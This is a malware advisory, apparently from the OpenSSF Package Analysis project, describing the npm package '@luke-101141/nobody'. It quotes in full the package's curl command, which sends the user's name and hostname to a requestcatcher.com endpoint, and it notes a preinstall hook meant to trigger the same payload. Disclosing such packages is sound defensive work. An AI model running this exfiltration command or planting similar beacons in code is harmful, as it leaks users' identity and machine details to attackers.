MAL-2026-4229 Malicious code in @luke-101141/nobody (npm)

On require(), index.js executes curl -X POST "http://frgthyujiouyh.requestcatcher.com/noderedactedsdk/$(whoami)/$(hostname)/", leaking the installing user's identity and machine hostname over plaintext HTTP to an anonymous request-inspection service (requestcatcher.com) commonly used as a throwaway exfil sink. The package has no advertised functionality — empty description, no useful exports — its sole effect is the identity beacon. package.json also contains a top-level "preinstall": "node index.js" field outside the scripts block; as written it does not fire at install time, but the intent to trigger the same payload at npm install is explicit. Any consumer importing this package leaks host/user identity to the attacker.

The OpenSSF Package Analysis project identified '@luke-101141/nobody' @ 1.0.1 (npm) as malicious.
